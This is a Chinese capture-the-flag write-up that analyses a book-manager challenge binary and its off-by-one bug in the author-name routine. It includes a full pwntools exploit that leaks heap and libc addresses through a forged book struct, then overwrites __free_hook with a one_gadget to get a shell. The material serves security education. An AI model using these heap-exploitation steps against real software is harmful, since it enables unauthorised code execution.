Share this post on:

检查

image-20221015215307472

程序逻辑

main

image-20221015215432693

标准的菜单函数,这个题的功能还比较多

creat_book

第一部分

image-20221015215727074

输入name的大小,输入name

注意这里有一个函数 read_in_memory

image-20221015220050994

目前来看就是向内存中的指定位置写入数据,这里还并不能体现off_by_one

第二部分

image-20221015220156884

输入book_description size和book_description

并且下面有一个book struct,恢复出来的话应该是这样子:

struct book
{
  int id;
  char *name;
  char *description;
  int size;
};

其实应该是一个数组指针的,可惜不会ida恢复捏

delete

image-20221015220741230

选择一个要删除的id后,对id的合法性进行判断,合法的话free掉各部分

edit

image-20221015220855828

edit同样是读取一个id,对其合法性进行检查并通过后,可以修改其book description的部分

print_book

image-20221015221035262

这里是遍历这个book指针数组,然后依次输出其ID,name,description,author的信息,这种函数一般都用来信息泄露

change_author_name

image-20221015221226668

直接可以修改作者的名字,注意这里的有个off_by_one

可以看到对off_by_one传入了32作为参数。

image-20221015221537343

这里的判断条件是i == a2,而i是从0开始,所以会多循环一次,而作者的最大名字只能是0x20。这就造成字符串末尾的\x00会溢出到下一个字节形成off_by_one

利用思路

泄露出图书结构体指针

image-20221015222643384

可以看到如果我们刚好填充到0x20字节,那么后面的结构体地址会一并泄露出来,那么我们就得到了一个结构体指针

覆盖原有结构体指针

因为在change_author_name的地方形成了off_by_one,所以只能在这里寻找机会,我们看看溢出的地方

image-20221015221909023

在off_202018这个地方溢出了一字节,而off_202018写的地址是unk_202040,那么先写0x20字节的话就是unk_202060,注意看刚好到达off_202010的位置,所以溢出的一字节就写入了off_202010的第一个位置

找到了溢出的地址,再看看off_202010这个地方原本的功能是什么

借用一张图:

image-20221015222643384

那么我们如果将\x00覆盖掉该地址,就变成了0x555555757700,这个地址是指向book1_desc,就可以在这里伪造一个fake_book_struct

伪造地址泄露libc

伪造的地址可以填上创建的book2的地址,book2我们可以把size开的很大,这样就会去调用mmap来分配,在关闭aslr的情况下,地址不变,我们就可以泄露这个地址并且与libc基址相减算出offset进而得到真实环境下的lib基址,拿到基址后就是常规打__free_hook的操作

exp分析

完整exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
gdb.attach(p)
elf = ELF('./pwn')
libc = ELF('./libc-2.27_sym.so')

def creat_name(name):
    p.recvuntil("author name:")
    p.sendline(str(name))

def create_book(name_size, name, desc_size, desc):
    p.recvuntil("> ")
    p.sendline(b"1")
    p.recvuntil("name size:")
    p.sendline(str(name_size))
    p.recvuntil("(Max 32 chars):")
    p.sendline(str(name))
    p.recvuntil("description size:")
    p.sendline(str(desc_size))
    p.recvuntil("description:")
    p.sendline(str(desc))

def delete_book(book_id):
    p.recvuntil("> ")
    p.sendline(b"2")
    p.recvuntil("delete:")
    p.sendline(str(book_id))

def edit_book(book_id, desc):
    p.recvuntil("> ")
    p.sendline(b"3")
    p.recvuntil("edit:")
    p.sendline(str(book_id))
    p.readuntil(": ")
    p.sendline(desc)

def print_book(book_id):
    p.readuntil("> ")
    p.sendline("4")
    p.readuntil(": ")
    for i in range(book_id):
        book_id = int(p.readline()[:-1])
        p.readuntil(": ")
        book_name = p.readline()[:-1]
        p.readuntil(": ")
        book_desc = p.readline()[:-1]
        p.readuntil(": ")
        book_author = p.readline()[:-1]
    return book_id, book_name, book_desc, book_author

def change_name(name):
    p.readuntil("> ")
    p.sendline("5")
    p.readuntil(": ")
    p.sendline(str(name))

# 泄露地址
creat_name('A'*32)
create_book(128, "book1", 32, "desc1")
create_book(0x21000, "book2", 0x21000, "desc2")
book_id_1, book_name, book_desc, book_author = print_book(1)
book1_addr = u64(book_author[32:32+6].ljust(8,b'\x00'))
log.success("book1_address:" + hex(book1_addr))

# fake_book
payload = p64(book_id_1)
payload += p64(book1_addr + 0x38)
payload += p64(book1_addr + 0x40)
payload += p64(0x21000)
edit_book(book_id_1, payload)

# off_by_one
change_name('A'*32)

# 泄露地址
book_id_1, book_name, book_desc, book_author = print_book(1)
book2_name_addr = u64(book_name.ljust(8,b"\x00"))
book2_desc_addr = u64(book_desc.ljust(8,b"\x00"))
log.success("book2 name addr:" + hex(book2_name_addr))
log.success("book2 des addr:" + hex(book2_desc_addr))

libc_base = book2_name_addr - 0x5f1010
free_hook = libc_base + libc.symbols["__free_hook"]
one_gadget = libc_base + 0x4f432

edit_book(1, p64(free_hook))
edit_book(2, p64(one_gadget))
delete_book(2)

p.interactive()

# 0x555555400f55 creat_book
# 0x555555400a89 menu
# 0x555555400d1f print_book
# 0x555555400e17 edit

为什么要将book1_name设置成128的原因

name_1的地址是0x0x555555605670,设置一个128(0x80)大小的块,加上0x10大小的堆头,这样book1_desc的指针就会变成0x555555605700,刚好为off_by_one覆盖低位1字节后的地址

Share this post on:

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注